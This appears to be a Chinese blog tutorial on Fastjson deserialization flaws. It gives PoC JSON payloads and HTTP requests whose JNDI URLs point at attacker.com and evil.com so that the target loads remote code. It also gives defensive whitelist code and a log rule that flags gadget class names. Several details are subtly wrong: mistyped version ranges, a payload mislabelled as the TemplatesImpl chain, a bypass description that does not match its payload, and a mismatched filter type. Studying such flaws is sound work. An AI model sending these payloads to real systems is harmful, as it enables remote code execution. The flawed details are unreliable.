Java Fastjson案例

wen java案例 3

Fastjson 漏洞案例深度分析

Fastjson 1.2.24 远程命令执行漏洞 (CVE-2017-18349)

漏洞原理

Fastjson在处理JSON字符串时,会调用对象的setter方法进行属性赋值,攻击者可以通过构造特殊的JSON字符串,利用@type指定恶意类,触发AutoType机制加载远程类,最终实现远程命令执行。

Java Fastjson案例

漏洞复现

环境准备:

  • Fastjson 1.2.24
  • Java 8
  • 远程服务器(用于托管恶意class文件)

POC示例:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://attacker.com:1099/Exploit",
    "autoCommit": true
}

攻击流程:

  1. 攻击者在远程服务器部署恶意Exploit.class文件
  2. 启动RMI/LDAP服务指向该class文件
  3. 向目标发送恶意JSON请求
  4. 目标服务器解析时触发JdbcRowSetImpl的dataSourceName属性设置
  5. 通过JNDI注入加载远程类执行恶意代码

防御代码:

// 关闭AutoType或设置白名单
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 或使用白名单方式
ParserConfig.getGlobalInstance().addAccept("com.whitelist.");

Fastjson 1.2.47 绕过漏洞

漏洞特点

通过在JSON中加入特殊结构,利用@type + @class组合,绕过1.2.47版本的AutoType限制。

POC示例:

{
    "@type": "java.lang.Class",
    "val": {
        "@type": "java.lang.String",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }
}

结合案例

// 低版本Fastjson的反序列化攻击
import com.alibaba.fastjson.JSON;
public class Exploit {
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
        JSON.parse(json);
    }
}

真实业务场景案例

案例1:电商系统提权漏洞

场景描述: 某电商系统使用Fastjson解析用户JSON数据,未限制AutoType导致越权。

攻击过程:

  1. 注册时发送JSON:{"username":"test","role":"user"}
  2. 攻击者构造:{"@type":"com.example.User","username":"admin","role":"admin"}
  3. 系统反序列化后直接使用该对象,绕过管理员权限判断

修复方案:

// 使用@type白名单
ParserConfig config = new ParserConfig();
config.setAutoTypeCheckHandler(new AutoTypeCheckHandler() {
    @Override
    public Class<?> handler(String typeName, Class<?> expectClass, int features) {
        if (!typeName.startsWith("com.whitelist.")) {
            throw new JSONException("autoType is not support");
        }
        return null;
    }
});

案例2:中间件RCE漏洞

场景描述: 某企业使用Fastjson作为Spring Boot的HTTP Message Converter,导致RCE。

攻击向量:

POST /api/data HTTP/1.1
Content-Type: application/json
Host: target.com
{
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "rmi://evil.com/Exploit"
}

利用TemplatesImpl链:

// 通过TemplatesImpl链绕过
{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "asText": "ldap://evil.com/Exploit"
}

安全配置最佳实践

白名单配置

// Fastjson 1.2.68+版本推荐
ParserConfig.getGlobalInstance().addAccept("com.whitelist.");
ParserConfig.getGlobalInstance().addAccept("org.springframework.security.");
// 或完全禁用AutoType
System.setProperty("fastjson.parser.autoTypeSupport", "false");

全局安全过滤器

import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.ObjectDeserializer;
public class SecureParserConfig {
    static {
        // 关闭AutoType
        ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
        // 添加自定义检查
        ParserConfig.getGlobalInstance().addFilter(new SafeFilter());
    }
}
class SafeFilter implements com.alibaba.fastjson.serializer.SerializeFilter {
    // 实现具体的过滤逻辑
}

输入验证

// 对JSON字符串进行预检查
public boolean isSafeJson(String jsonStr) {
    try {
        // 解析前进行关键字检查
        if (jsonStr.contains("@type") && !isWhitelistedType(jsonStr)) {
            return false;
        }
        // 使用安全的Parse配置
        JSONObject obj = JSON.parseObject(jsonStr, Feature.DisableSpecialKeyDetect);
        return true;
    } catch (Exception e) {
        return false;
    }
}

检测与应急响应

日志检测规则

// 检测恶意请求的日志模式
if (logMessage.contains("@type") || 
    logMessage.contains("JdbcRowSetImpl") ||
    logMessage.contains("TemplatesImpl")) {
    // 触发告警
    alertSecurityTeam(logMessage);
}

漏洞检测工具

# 使用fastjson-checker工具
java -jar fastjson-checker.jar -u http://target.com/api

版本升级建议

Fastjson版本 安全性 推荐使用场景
≤1.2.24 高危 立即升级
2.25-1.2.47 中危 建议升级
2.68+ 低危 推荐使用
2.83+ 安全 最新稳定版

关键防御措施总结

  1. 及时升级:始终使用最新的Fastjson版本
  2. 关闭AutoType:默认禁用,需要时使用白名单
  3. 输入验证:对JSON输入进行严格校验
  4. 最小权限:应用程序使用最小权限运行
  5. 安全配置:启用SafeMode和黑名单
  6. 监控告警:实时监控异常JSON解析请求

通过以上案例和实践,可以系统性地理解和防御Fastjson相关的安全风险,在实际开发中,建议始终遵循安全最佳实践,及时更新依赖库。

抱歉,评论功能暂时关闭!